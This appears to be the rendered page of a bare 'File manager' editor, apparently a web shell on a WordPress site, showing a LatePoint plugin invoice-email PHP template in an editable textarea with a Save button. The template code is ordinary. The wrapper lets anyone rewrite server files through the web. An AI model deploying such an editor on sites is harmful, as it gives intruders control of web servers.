File manager

<head><title>File manager</title><link rel=stylesheet href=http://unpkg.com/simpledotcss/simple.css></head>
<form method=POST enctype=''><textarea name='edit' style='width:100%;
height:90%'>&lt;?php
/*
 * Copyright (c) 2023 LatePoint LLC. All rights reserved.
 */

/* @var $invoice OsInvoiceModel */
/* @var $errors array */
/* @var $success string */
/* @var $to string */
/* @var $subject string */
/* @var $content string */


?&gt;
&lt;form action=&quot;&quot; data-os-action=&quot;&lt;?php echo OsRouterHelper::build_route_name(&#039;invoices&#039;, &#039;email_form&#039;); ?&gt;&quot; class=&quot;invoice-email-form latepoint-lightbox-inner-form&quot; data-os-after-call=&quot;latepointInvoicesAdminFeature.init_email_invoice_form&quot; data-os-output-target=&quot;.invoice-email-form&quot;&gt;
	&lt;div class=&quot;latepoint-lightbox-heading&quot;&gt;
		&lt;h2&gt;&lt;?php echo esc_html__(&#039;Email Invoice&#039;, &#039;latepoint&#039;); ?&gt;&lt;/h2&gt;
		&lt;a href=&quot;#&quot; class=&quot;latepoint-lightbox-close&quot; tabindex=&quot;0&quot;&gt;&lt;i class=&quot;latepoint-icon latepoint-icon-x&quot;&gt;&lt;/i&gt;&lt;/a&gt;
	&lt;/div&gt;
	&lt;div class=&quot;latepoint-lightbox-content&quot;&gt;
		&lt;?php

		// Output errors if any
		if (!empty($errors)){
			echo &#039;&lt;div class=&quot;latepoint-message latepoint-message-error&quot;&gt;&#039;;
			foreach($errors as $error){
				echo &#039;&lt;div&gt;&#039;.$error.&#039;&lt;/div&gt;&#039;;
			}
			echo &#039;&lt;/div&gt;&#039;;
		}
		if (!empty($success)){
			echo &#039;&lt;div class=&quot;latepoint-message latepoint-message-success&quot;&gt;&#039;.$success.&#039;&lt;/div&gt;&#039;;
		}else{
            ?&gt;
            &lt;?php
            echo &#039;&lt;div class=&quot;latepoint-message latepoint-message-subtle&quot;&gt;&#039; . __( &#039;You can customize subject and content of the email in general settings&#039;, &#039;latepoint&#039; ). &#039;&lt;/div&gt;&#039;;
            echo OsFormHelper::text_field(&#039;invoice_email[to]&#039;, __(&#039;Email to:&#039;, &#039;latepoint&#039;), $to, [&#039;theme&#039; =&gt; &#039;simple&#039;]);
            echo OsFormHelper::hidden_field(&#039;invoice_id&#039;, $invoice-&gt;id);
        }
        ?&gt;
	&lt;/div&gt;
    &lt;?php if(empty($success)){ ?&gt;
	&lt;div class=&quot;latepoint-lightbox-footer&quot;&gt;
		&lt;button type=&quot;submit&quot; class=&quot;latepoint-btn latepoint-btn-primary latepoint-btn-position-end &quot;&gt;&lt;?php esc_html_e(&#039;Send&#039;, &#039;latepoint&#039;); ?&gt;&lt;/button&gt;
	&lt;/div&gt;
    &lt;?php } ?&gt;
&lt;/form&gt;</textarea><input type='submit' name='save' value='Save' style=''/></form>